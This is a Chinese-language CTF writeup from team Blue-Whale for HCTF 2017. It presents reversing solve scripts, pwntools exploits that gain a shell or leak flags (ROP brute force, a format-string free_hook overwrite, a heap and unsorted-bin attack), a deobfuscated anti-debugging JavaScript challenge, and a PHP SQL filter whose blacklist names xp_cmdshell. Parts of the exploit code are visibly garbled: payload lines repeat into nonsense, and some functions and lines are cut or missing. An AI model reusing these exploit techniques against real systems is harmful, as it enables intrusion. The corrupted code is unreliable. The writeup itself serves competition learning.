Blue-Whale HCTF 2017 Writeup

bin

Evr_Q

扔进 IDA 后,可以看到整个验证流程如下:

- 检验长度是否是 35
- 与 0x76 异或
- 7-13 个字节 &0xAD 后, 二进制乱序
- 14-20 个字节 &0xBE 后, 二进制乱序
- 21 27 个字节 &0xEF 后, 二进制乱序
- check()

flag:hctf{>>D55CH0CK3RB0o0M!-84df3d0e}

解题脚本:

```
#python 2.7
data0 = "1Eh, 15h, 02h, 10h, 0Dh, 48h, 48h, 6Fh, DDh, DDh, 48h, 64h, 63h, D7h, 2Eh, 2Ch, FEh, 6Ah, 6Dh, 2Ah, F2h, 6Fh, 9Ah,
4Dh, 8Bh, 4Bh, 1Ah, DAh, 12h, 10h, 45h, 12h, 46h, 13h, 0Bh"
data1 = data0.split(', ')
data = []
for i in data1:
   if 'h' in i:
       i = i.replace('h','')
   data.append('0x' + i)
flag = ""
for i in range(7):
   flag += chr(int(data[i],16)^0x76)
for i in range(7):
   ordbin = ""
   binstr = bin(int(data[7+i],16))[2::].zfill(8)
   ordbin += binstr[1] + binstr[0] + binstr[3] + binstr[2] + binstr[5] + binstr[4] + binstr[7] + binstr[6]
   flag += chr(int(ordbin, 2)^0xad^0x76)
for i in range(7):
   ordbin = ""
   binstr = bin(int(data[14+i],16))[2::].zfill(8)
   ordbin += binstr[2] + binstr[3] + binstr[0] + binstr[1] + binstr[6] + binstr[7] + binstr[4] + binstr[5]
   flag += chr(int(ordbin, 2)^0xbe^0x76)
for i in range(7):
   ordbin = ""
   binstr = bin(int(data[21+i],16))[2::].zfill(8)
   ordbin += binstr[4::] + binstr[0:4:]
   flag += chr(int(ordbin, 2)^0xef^0x76)
for i in range(7):
    flag += chr(int(data[28+i],16)^0x76)
print flag
```

babystack

存在栈溢出,直接 ROP,没有 write 系统调用,利用 libc 0x145A40 处的 sub 函数判断输入串和 flag 的值,若相等则等待输入,若不等则程序退出。按位爆破即可。

```
from pwn import *
elf = ELF('./libc.so.6_885acc6870b8ba98983e88e578179a2c')
puts = elf.symbols['puts']
strncmp = 0x145A40
sleep_ = elf.symbols['sleep']
open_ = elf.symbols['open']
```

```
syscall=0xF722E
flag = 0x3C5920
try_ = ord('a')-1
index = 37
s = remote('47.100.64.113',20001)
s.recvuntil('please input you token')
s.sendline('Gk9tmlrhni9xXIBQb7MYRHtiWQI2vWvm')
while 1:
                   #s = process('./babystack_407f9c60349d0c7779e72ccd02bb5cf2')
                    #s = remote('47.100.64.113',20001)
                    #s.recvuntil('please input you token')
                    #s.sendline('Gk9tmlrhni9xXIBQb7MYRHtiWQI2vWvm')
                   s.recvuntil('chance')
                   s.sendline('6295592')
                   p = s.recvlines(2)
                   p = p[1]
                   if p=='Segmentation fault':
                                     continue
                   libc = int(p,10) - puts
                    print 'libc :',hex(libc)
                    pay = 'A'*0x28+p64(0x400BFA)
                    pay += p64(0) + p64(1) + p64(0x601050) + p64(0x100) + p64(0x601078) + p64(0) + p64(0x400be0) + p64(0x601078) + p64(0x601078)
                    pay+= p64(0xdeadbeef)+p64(0)+p64(1)+p64(0x601078+4*8)+p64(0)+p64(0)+p64(0x601078)+p64(0x400BE0)#open file
                    pay += p64(0xdeadbeef) + p64(0) + p64(1) + p64(0x601050) + p64(0x1000) + p64(flag + libc) + p64(3) + p64(0x400BE0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0x601050) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0xdeadbeef) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) \\ \# read + p64(0) + p64
                    pay += p64(0xdeadbeef) + p64(0) + p64(1) + p64(0x601078 + 8) + p64(1) + p64(flag + libc + index) + p64(0x601078 + 5) + p64(0x400be0) + strncmp
                    pay += p64(0xdeadbeef) + p64(0) + p64(1) + p64(0x601078 + 8*3) + p64(1) + p64(0x601078 + 6) + p64(0) + p64(0x400be0) \\ \#syscall + p64(0x400be0) + p64(0x400be0) + p64(0x400be0) \\ \#syscall + p64(0x400be0) + p64(0x40be0) + p64(0x40be0) + p64(0x40be0) + p64(0x4
                    #pay+=
                    pay2='flag\\x00'+chr(try_)*3+p64(strncmp+libc)+p64(sleep_+libc)+p64(syscall+libc)+p64(open_+libc)
                    *pay = pay+'A'*(0x1000-len(pay))
                    #pay2= pay2+'A'*(0x1000-len(pay2))
                    s.send(pay)
                   sleep(1)
                   s.send(pay2)
                   sleep(1)
                   p=s.recv(1)
                   if p=='I':
                                     print str(index)+':'+hex(try_)
                                     break
                   else:
                                     print 'try '+str(index)+':'+hex(try_)
                                     try_=try_+1
                                     continue
s.interactive()
```

guestbook

格式化字符串,直接改 free_hook。

```
from pwn import *
env_ ={'LD_PRELOAD':'./libc.so.6_a503ef51452760010c1dbd421ac26635'}
elf = ELF('./libc.so.6_a503ef51452760010c1dbd421ac26635')
system = elf.symbols['system']
bin_sh = elf.search('/bin/sh\x00').next()
#s=process('./guestbook_94a7420511cf22148af365f0798edacf',env=env_)
s=remote('47.100.64.171',20002)
s.recvuntil('please input you token')
s.sendline('Gk9tmlrhni9xXIBQb7MYRHtiWQI2vWvm')
def add(name,phone):
   s.recvuntil('your choice:')
   s.send('1')
   s.recvuntil('your name?')
   s.send(name)
   s.recvuntil('your phone?')
   s.send(phone)
def see(idx):
   s.recvuntil('your choice:')
   s.send('2')
   s.recvuntil('Plz input the guest index:')
   s.send(str(idx))
def delete(idx):
```

```
s.recvuntil('your choice:')
    s.send('2')
    s.recvuntil('Plz input the guest index:')
    s.send(str(idx))
add('%x'*8+'/bin/sh\x00','1'*0x10)
see(0)
s.recvuntil('the name:')
text = int(s.recv(8),16)-0xe3a
s.recv(1)
libc = int(s.recv(8),16)-0xda7-0x1b0000
print 'text addr :',hex(text)
print 'libc addr :',hex(libc)
pay = ''
for i in range(72,75,1):
    pay+='%'+str(i)+'$x'
add(pay+'/bin/sh\x00','1'*0x10)
see(1)
s.recvuntil('the name:')
stack = int(s.recv(8),16)
print 'stack :',hex(stack)
sys = libc+system
bin_sh = text + 0x3040 + 0x30 + 11
free\_hook = libc + 0x001B18B0
book = text+0x3040
print 'sys :',hex(sys)
print 'sys 0:',hex(sys&0xff)
print 'binsh:',hex(bin_sh)
print 'bit 3:',((bin_sh&0xff0000)>>16)-7
print hex(book+0x26)
pay = 'AAA'+p32(free\_hook)+'%'+str((sys\&0xff)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(2)
pay = 'AAA'+p32(free_hook+1)+'%'+str(((sys&0xff00)>>8)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(3)
pay = 'AAA'+p32(free_hook+2)+'%'+str(((sys&0xff0000)>>16)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(4)
pay = 'AAA'+p32(free_hook+3)+'%'+str(((sys&0xff000000)>>24)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(5)
pay = 'AAA'+p32(book+0x24)+'%'+str((bin_sh\&0xff)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(6)
pay = 'AAA'+p32(book+0x25)+'%'+str(((bin_sh&0xff00)>>8)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(7)
pay = 'AAA' + p32(book + 0x26) + '%' + str(((bin_sh\&0xff0000) >> 16) - 7) + 'x%8 + hhn'
print pay
add(pay,'1'*0x10)
see(8)
pay = 'AAA'+p32(book+0x27)+'%'+str(((bin_sh&0xff000000)>>24)-7)+'x%8$hhn'
add(pay,'1'*0x10)
see(9)
s.interactive()
```

babyprintf

一开始以为是简单的格式化字符串,后面做的时候才发现用不了"%n",函数中有 gets,可以利用这个进行堆溢出,改小 top chunk 的大小,触发一个_int_free,然后再次 unsorted bin attack 修改_IO_buf_end,然后修改 malloc hook 就可以了,脚本如下:

```
from pwn import *
import os

DEBUG = False
#context.log_level = 'debug'

if DEBUG:
    env = os.environ
    env['LD_PRELOAD'] = './libc-2.24.so'
```

```
p = process('./babyprintf',env = env)
else:
   p = remote('47.100.64.113',23332)
   p.recvuntil('please input you token\n')
   p.sendline('Gk9tmlrhni9xXIBQb7MYRHtiWQI2vWvm')
def fun(size, data):
   try:
      p.recvuntil('size: ')
   except:
      pass
   p.sendline(str(size))
      p.recvuntil('string: ')
   except:
   p.sendline(data)
      p.recvuntil('result: ')
   except:
      pass
   return p.recv()
libc = ELF('./libc-2.24.so')
elf = ELF('./babyprintf')
leak_libc = int(fun(0x28,'%p')[:14],16)
log.info('leak libc addr is ' + hex(leak_libc))
libc_base = leak_libc - 3946336
log.info('libc base addr is ' + hex(libc_base))
one_gadget = libc_base + 0x4557a
log.info('one gadget addr is ' + hex(one_gadget))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info('malloc hook addr is ' + hex(malloc_hook))
io_stdin = libc_base + libc.symbols['_IO_2_1_stdin_']
log.info('stdin addr is ' + hex(io_stdin))
log.info('io_buf_end addr is ' + hex(io_stdin+0x40))
unsorted_addr = libc_base + 3939160
log.info('unsorted addr is ' + hex(unsorted_addr))
junk = fun(0x28, 'a'*0x28+p64(0xfa1))
junk = fun(0x1000, c'*0x500)
fun(0x28,'q'*0x28+p64(0x0000000000000000f51)+p64(unsorted_addr)+p64(io_stdin+0x30))
p.sendline('0xf40')
p.recv()
+ p64(0) * 2 + p64(libc_base+3924992) + p64(0)*38 + p64(libc_base + 3923648) + p64(0) + p64(libc_base+558720) + p64(libc_base+557664) + p64(one_gadget)
p.sendline(payload)
p.interactive()
```

打过去的时候会卡住,按几下 ctrl+c 才好

```
$ id
uid=1005(pwnuser12520) gid=1005(pwnuser12520) groups=1005(pwnuser12520)
$ cat flag
congratulations Blue-Whale
here is you flag: hctf{4ea497dde8a6152bcd23b0d71df791529c3d1fb87c6c4dddcc78cee8a59c7c27}
```

easy crackme

实现了一个模拟器,简单翻译指令集并逆向得到 flag

```
3 mov r1,r11 //r11=heap_addr
6 xor r3,(int)r3
```

```
9 xor r0,(int)r0
12 xor r4,(int)r4
if jmp
                         //loop1 start
16 add r0,(int)51
                          //打乱顺序放到 r5 中
19 mov r0, r0%32
22 mov r9,r1
25 add r9,(int)r0
28 mov r10,(byte)[r9]
31 mov r4,(int)r10
34 mov [r5],(int)r4;r5=r5+4
37 add r3,(int)1
   r3<32
                         //loop1 end
if jmp
44 xor r0,(int)r0
                          //init
47 mov r8,r5
                        //取 r5 起始地址
50 add r8,4*(int)224
53 mov r2,r8
56 mov r10,(int)[r2]
59 mov r0,(int)r10
62 and r0,(int)224
65 \text{ r0} = (\text{r0} >> 5) \& 0xff
68 mov r4,(int)r0
                           //取高三位
71 xor r3,(int)r3
if jmp
                          //loop2start
75 mov r10,(int)[r2]
78 mov r0,(int)r10
81 and r0,(int)31
84 \text{ r0} = (r0 << 3) \& 0xff
                           //取低五位左移三位
87 mov r5,(int)r0;r5=r5+4 //写到r5
90 mov r8,r5
                         //
93 add r8,4*(int)224
                        //开头取下一位
96 mov r2,r8
99 mov r10,(int)[r2]
102 mov r0,(int)r10
105 and r0,(int)224
108 \text{ r0} = (r0>>5) \& 0xff
    r5 = r5 - 4
111 mov r10 , [r5]
                           //前一个的低五位<<3 | 后一个的高三位 >>5
114 add r10,(int)r0
117 mov [r5],(int)r10;r5=r5+4
120 add r3,(int)1
r3<[31]
if jmp
                         //loop2end
                          //以上操作将所有输入左移三位
127 mov r10,(int)[r2]
130 mov r0,(int)r10
133 and r0,(int)31
136 \text{ r0} = (\text{r0} << 3) \& 0 \text{xff}
139 add r0,(int)r4
142 mov [r5],(int)r0;n1=n1+4
145 xor r3,(int)r3
                          //r13 = 0xEFBEADDE
148 mov r4,(char)r13
if jmp
152 mov r8,r5
155 add r8,4*(int)224
158 mov r2,r8
161 mov r10,(int)[r2]
164 mov r0,(int)r10
167 mov [r5],(int)r0;r5=r5+4
170 mov r0,(int)r4
173 add r0,(int)r3
    r5 = r5 - 4
176 mov r10,(int)[r5]
179 xor r10,(int)r0
                          //(r4 + i )^ r5[i]
182 mov [r5],(int)r10;r5=r5+4
                         //[r4] = [r4]>>8 循环右移
185 unk 4,8
188 add [3],(int)1
r3<[32]
if jmp
195 xor r3,(int)r3
198 xor r4,(int)r4
201 mov r1,r12
```

```
if jmp
205 mov r9,r1
208 add r9,(int)r3
211 mov r10,(byte)[r9]
214 mov r0,(int)r10
217 mov [r5],(int)r0;n1=n1+4
220 mov r8,r5
223 add r8,4*(int)223
226 mov r10,(int)[r8]
   r5 = r5 -4
229 mov r0,(int)[r5]
232 mov [5],(int)r0;r5=r5+4
[0]!=[10]
238 or r4,(int)r7
241 add [3],(int)1
[3]<[32]
if jmp
end
```

解题脚本:

```
out = [ 0xF7, 0x0C, 0x3B, 0x81, 0x08, 0x49, 0x86, 0x0D, 0x4F, 0x2D,
 0x8B, 0x20, 0x80, 0x89, 0xD5, 0x45, 0xDC, 0x0C, 0x29, 0x8B,
 0x79, 0x60, 0x2D, 0x9F, 0x45, 0x7D, 0xC2, 0xD9, 0x49, 0xD8,
 0x27, 0x4C]
out2 = []
xor = [0xEFBEADDE,0xDEEFBEAD,0xADDEEFBE,0xBEADDEEF]
for i in range(len(out)):
   k = (out[i]^(xor[i%4]+i))&0xff
   out2.append(k)
print out2
out1 = ''
for i in range(len(out2)):
   out1 += hex(out2[i])[2:-1]
print out1
print len(out1)
out1 = int(out1,16)
out0 = out1>>3 | (out1&0x1f)<<(64*4-3)
out0 = hex(out0)[2:-1]
print out0.decode('hex')
out0 = out0.decode('hex')
table = []
flag = []
k = 0
for i in range(32):
   k +=51
   k = k\%32
   table.append(k)
   flag.append(0xff)
print table
for i in range(len(table)):
   t = table[i]
   flag[t]=out0[i]
flag_=''
for i in range(len(flag)):
   flag_+=flag[i]
print flag_
```

Web

easy_sign_in

这题是一个自签名证书的 https 网站,查看证书可以发现

```
OU = flag in:
O = 123.206.81.217
```

babycrack

极度恶心的 js 混淆题目。给了一个 js 数组,经过了多次洗牌,中间还掺杂了多段干扰调试的代码,稍有不慎就会中计。最终处理后的代码是:

```
/*var dict1 = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace',
 '(3()\{(3\backslash x20a()\{7\{(3\backslash x20b(2)\{9((\backslash x27\backslash x27+(2/2)).5!=1||2\%g==9)\{(3()\{\}).8(\backslash x274\backslash x27)()\}c\{4\}b(++2)\})(0)\}d(e)\{f(a,6)\}\})()\})();',
'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log',
'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...',
'window.console.clear(); window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function',
'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set',
'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://',
'Url\x20error', 'query', 'filter', 'active', 'floor'];
// 洗牌
(function(_0xd4b7d6, _0xad25ab) {
     var _0x5e3956 = function(_0x1661d3) {
                while (--_0x1661d3) {
                      _0xd4b7d6['push'](_0xd4b7d6['shift']());
                }
          };
      _0x5e3956(++_0xad25ab);
}(dict1, 0x1a2));
*/
var dict1 = ["version", "error", "download", "substring", "push", "Function", "charAt", "idle", "pyW5F1U43VI", "init", "https://the-
extension.com", "local", "storage", "eval", "then", "get", "getTime", "setUTCHours", "origin", "set", "GET", "loading", "status", "removeListener", "onUpdated", "callee",
"addListener", "onMessage", "runtime", "executeScript", "data", "test", "http://", "Url
error", "query", "filter", "active", "floor", "random", "charCodeAt", "fromCharCode", "parse", "substr", "\\w+", "replace", "(3(){(3 a()}{7{(3 a())}}
b(2)\{9((''+(2/2)).5!=1||2\%g==0)\{(3()\{\}).8('4')()\}c\{4\}b(++2)\})(0)\}d(e)\{f(a,6)\}\})()\})();","||i|function|debugger|length|5000|try|constructor|if|||else|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catclese|catcl
h||setTimeout|20","pop","length","join","getElementById","message","log","Welcome to HCTF:>","Congratulations! you got it!","Sorry, you are
wrong...","window.console.clear();window.console.log('Welcome to HCTF :>')"];
var getDict = function(index, notuse1) {
          index = index - 0x0;
          var result = dict1[index];
          return result;
     };
function check(input_message) {
     try {
           //var dict2 = ['code', getDict('0x0'), getDict('0x1'), getDict('0x2'), 'invalidMonetizationCode', getDict('0x3'), "push", getDict('0x5'),
getDict('0x6'), getDict('0x7'), getDict('0x8'), getDict('0x9'), getDict('0xa'), getDict('0xb'), getDict('0xc'), getDict('0xc'), getDict('0xc'),
getDict('0xf'), getDict('0x10'), getDict('0x11'), 'url', getDict('0x12'), getDict('0x13'), getDict('0x14'), getDict('0x15'), getDict('0x16'),
getDict('0x17'), getDict('0x18'), 'tabs', getDict('0x19'), getDict('0x1a'), getDict('0x1b'), getDict('0x1c'), getDict('0x1d'), 'replace', getDict('0x1e'),
getDict('0x1f'), 'includes', getDict('0x20'), 'length', getDict('0x21'), getDict('0x22'), getDict('0x23'), getDict('0x24'), "floor", getDict('0x26'),
getDict('0x27'), getDict('0x28'), getDict('0x29'), 'toString', getDict('0x2a'), 'split'];
           /* 在后面被重新洗牌了*/
          var dict2 =
["code", "version", "error", "download", "invalidMonetizationCode", "substring", "push", "Function", "charAt", "idle", "pyW5F1U43VI", "init", "https://the-
extension.com", "local", "storage", "eval", "then", "get", "getTime", "setUTCHours", "url", "origin", "set", "GET", "loading", "status", "removeListener", "onUpdated", "ta
bs","callee","addListener","onMessage","runtime","executeScript","replace","data","test","includes","http://","length","Url
error", "query", "filter", "active", "floor", "random", "charCodeAt", "fromCharCode", "parse", "toString", "substr", "split"];
           var head_of_input = input_message["substring"](0x0, 0x4);
           var hctf_to_num = parseInt(btoa(head_of_input), 0x20); //'hctf' 的 base64 32 进制 得到的整数 344800
           /* 看着不像干好事的 先注释掉 */
           eval(function(_0x200db2, _0x177f13, _0x46da6f, funcs, _0x2d59cf, _0x2829f2) {
                 _0x2d59cf = function(_0x4be75f) {
                      return _0x4be75f['toString'](_0x177f13);
                };
                if (!'' ['replace'](/^/, String)) {
                      while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = funcs[_0x46da6f] || _0x2d59cf(_0x46da6f);
                      funcs = [function(_0x5e8f1a) {
                           return _0x2829f2[_0x5e8f1a];
                     }];
                      _0x2d59cf = function() {
                           return getDict('0x2b');
                     };
                      _0x46da6f = 0x1;
```

```
};
          while (_0x46da6f--) if (funcs[_0x46da6f]) _0x200db2 = _0x200db2[getDict('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'),
funcs[_0x46da6f]);
          return _0x200db2;
       "||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20"['split']('|'), 0x0, {}));
*/
       /* 对 dict2 洗牌 */
       /*
       (function(_0x3291b7, _0xced890) {
          var _0xaed809 = function(_0x3aba26) {
                  while (--_0x3aba26) {
                     _0x3291b7["push"](_0x3291b7['shift']());
                 }
              };
           _0xaed809(++_0xced890);
       }(dict2, hctf_to_num % 0x7b));
       var dict2 = ["onMessage","runtime","executeScript","replace","data","test","includes","http://","length","Url
error", "query", "filter", "active", "floor", "random", "charCodeAt", "fromCharCode", "parse", "toString", "substr", "split", "code", "version", "error", "download", "inva
lidMonetizationCode", "substring", "push", "Function", "charAt", "idle", "pyW5F1U43VI", "init", "https://the-
extension.com","local","storage","eval","then","get","getTime","setUTCHours","url","origin","set","GET","loading","status","removeListener","onUpdated","ta
bs","callee","addListener"];
       var getDict2 = function(hex_arg) {
              var hex_arg = parseInt(hex_arg, 0x10);
              var _0x3a882f = dict2[hex_arg];
              return _0x3a882f;
          };
       var str2hex = function(_0x52ba71) {
              var result2 = '0x';
              for (var i2 = 0x0; i2 < _0x52ba71["length"]; i2++) {
                  result2 += _0x52ba71["charCodeAt"](i2)["toString"](0x10);
              return result2;
          };
       /*从后文可知 flag 可以被 _ 分为 5 部分*/
       var input_split_underscore = input_message["split"]('_');
       /*第一个限制条件*/
       /* (最后两个字节 ^ '{') % (length 7) = 5
       第0部分长度7
       */
       var checkresult1 = (str2hex(input_split_underscore[0x0]["substr"](-0x2, 0x2)) ^ str2hex(input_split_underscore[0x0]["substr"](0x4, 0x1))) %
input_split_underscore[0x0]["length"] == 0x5;
       if (!checkresult1) {
           return false;
       base32encode = function(some_arg) {
          var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
          var _0x4dc510 = [];
           var _0x4a199f = Math["floor"](some_arg["length"] / 0x5);
           var _0x4ee491 = some_arg["length"] % 0x5;
           if (_0x4ee491 != 0x0) {
              for (var i1 = 0x0; i1 < 0x5 - _0x4ee491; i1++) {
                  some_arg += '';
              0x4a199f += 0x1;
          }
          for (i1 = 0x0; i1 < _0x4a199f; i1++) {
              _0x4dc510["push"](alphabet["charAt"](some_arg["charCodeAt"](i1 * 0x5) >> 0x3));
               \begin{tabular}{ll} $-0x4dc510["push"](alphabet["charAt"]((some\_arg["charCodeAt"](i1 * 0x5) & 0x7) << 0x2 & | some\_arg["charCodeAt"](i1 * 0x5 + 0x1) >> 0x6)); \end{tabular} 
              _0x4dc510["push"](alphabet["charAt"]((some_arg["charCodeAt"](i1 * 0x5 + 0x1) & 0x3f) >> 0x1));
              _0x4dc510["push"](alphabet["charAt"]((some_arg["charCodeAt"](i1 * 0x5 + 0x1) & 0x1) << 0x4 | some_arg["charCodeAt"](i1 * 0x5 + 0x2) >> 0x4));
              _{0x4dc510["push"](alphabet["charAt"]((some_arg["charCodeAt"](i1 * 0x5 + 0x2) & 0xf) << 0x1 | some_arg["charCodeAt"](i1 * 0x5 + 0x3) >> 0x7));}
               \begin{tabular}{ll} $-0x4dc510["push"](alphabet["charAt"]((some\_arg["charCodeAt"](i1 * 0x5 + 0x3) & 0x7f) >> 0x2)); \end{tabular} 
              _{0x4dc510["push"](alphabet["charAt"]((some_arg["charCodeAt"](i1 * 0x5 + 0x3) & 0x3) << 0x3 | some_arg["charCodeAt"](i1 * 0x5 + 0x4) >> 0x5));}
              _0x4dc510["push"](alphabet["charAt"](some_arg["charCodeAt"](i1 * 0x5 + 0x4) & 0x1f));
```

```
}
          var _0x545c12 = 0x0;
          if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
          else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
          else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
          else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
          for (i1 = 0x0; i1 < _0x545c12; i1++)
             _0x4dc510["pop"]();
          for (i1 = 0x0; i1 < _0x545c12; i1++)
             _0x4dc510["push"]('=');
/* 自动命中 debugger 还重用了 _0x4dc510 名称混淆 */
          (function() {
             (function _0x3c3bd8() {
                try {
                    (function func_4dc510(zero_int) {
                       if (('' + zero_int / zero_int)["length"] !== 0x1 || zero_int % 0x14 === 0x0) {
                           (function() {}['constructor']('debugger')());
                       } else {
                           debugger;
                       func_4dc510(++zero_int);
                    }(0x0));
                } catch (_0x30f185) {
                    setTimeout(_0x3c3bd8, 0x1388);
             }());
          }());
*/
          return _0x4dc510["join"]('');
      };
      // _iz_
      e = str2hex(base32encode(input\_split\_underscore[0x2])["split"]('=')[0x0]) ~ 0x53a3f32;
      if (e != 0x4b7c0a73) {
          return false;
      }
      // _s0_
      f = str2hex(base32encode(input_split_underscore[0x3])["split"]('=')[0x0]) ^ e;
      if (f != 0x4315332) {
          return false;
      n = f * e * input_split_underscore[0x0]["length"]; // 7, 623572687924643800
      each_do = function(arg_str3, arg_func3) {
          var result3 = '';
          for (var i3 = 0x0; i3 < arg_str3["length"]; i3++) {</pre>
             result3 += arg_func3(arg_str3[i3]);
          return result3;
      };
      /* 0x1 部分 的部分限制条件 被 3 分为 2 部分,长度为 7,两部分长度都为 3,第 0 个字节相同
      rev3rse
      */
      j = input_split_underscore[0x1]["split"]('3');
      return false;
      }
      /* 第 0 个字符 * 7 */
      k = 0 \times ffcc52 \Rightarrow 0 \times ffcc52["charCodeAt"]() * input_split_underscore[0x1]["length"];
      l = each_do(j[0x0], k);
      if (1 != 0x2f9b5072) { // 798707826
          return false;
      }
      /* 注意js int 型有上限。
      第4部分 开头 h4rd
```

```
第0部分长度7
                 第 4 部分长度 13 */
                m = str2hex(input\_split\_underscore[0x4]["substr"](0x0, 0x4)) - 0x48a05362 == (0x4315332 * 0x4b7c0a73 * input\_split\_underscore[0x0]["length"]) %
0x2f9b5072;// n % 1; // true
                function repeat(unit, len4) {
                         var _0x55b09f = '';
                         for (var _0x508ace = 0x0; _0x508ace < len4; _0x508ace++) {</pre>
                                  _0x55b09f += unit;
                         return _0x55b09f;
                 /*第二个条件是极弱限制条件
                 以下可以爆破
                 */
                if (!m || repeat(input_split_underscore[0x4]["substr"](0x5, 0x1), 0x2) == input_split_underscore[0x4]["substr"](-0x5, 0x4) ||
input\_split\_underscore[0x4]["substr"](-0x2, 0x1) - input\_split\_underscore[0x4]["substr"](0x4, 0x1) != 0x1) {
                         return false;
                }
                o = str2hex(input\_split\_underscore[0x4]["substr"](0x6, 0x2))["substr"](0x2) == input\_split\_underscore[0x4]["substr"](0x6, 0x1)["charCodeAt"]() * input\_split\_underscore[0x4]["substr"](0x6, 0x1)["substr"](0x6, 0x1)["substr"](0
input_split_underscore[0x4]["length"] * 0x5; // true
                 return o && input_split_underscore[0x4]["substr"](0x4, 0x1) == 0x2 && input_split_underscore[0x4]["substr"](0x6, 0x2) == \frac{1}{2}
repeat(input_split_underscore[0x4]["substr"](0x7, 0x1), 0x2);
        } catch (e) {
                console['log']('gg');
                return false;
}
function test() {
        var input_message = document["getElementById"]("message")['value'];
        if (input_message == '') {
                 console["log"]("Welcome to HCTF:>");
                 return false;
        }
        var result = check(input_message);
        if (result) {
                 alert("Congratulations! you got it!");
        } else {
                alert("Sorry, you are wrong...");
        }
}
window['onload'] = function() {
        // 扰乱 console
        //setInterval("window.console.clear(); window.console.log('Welcome to HCTF :>')", 0x32);
        test();
};
```

分析可知,flag 被 分为了 5 段,可以各个击破。最终的 flag 是 hctf{j5_rev3rse_iz_s0_h4rd23ee3333}。其中的 iz 和 so 比较容易得到。然后解 rev3rse 部分,这一点比较坑。根据代码,这一部分被 3 分成了两段。两段异或得到了 2 字节长度的结果。原以为总长度为 5,但是看了后面的代码才发现其实总长度为 7,两段的首字节相同。剩下的第一部分和最后一部分长度和内容都不确定,各个条件交织在一起。先搞出了最后一部分开头的 h4rd,然后根据 flag 是一句话逐步爆破,确定了两部分的长度和部分内容。其中还有个坑点,JavaScript 大数运算精度不足,不能用 Python 解。最后根据给出的 sha256(flag)爆破得到 flag。一共搞了好几个小时,不知道各位大佬有没有更简单的办法。

boring website

这题略有意思,题目从一个 MS SQL Server 使用 linkserver 连接到了 MySQL。通过扫描 www.zip 得到了源码。主要代码:

```
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
    die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql

$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
    //TO DO: ...
    //It's time to sleep...
}
```

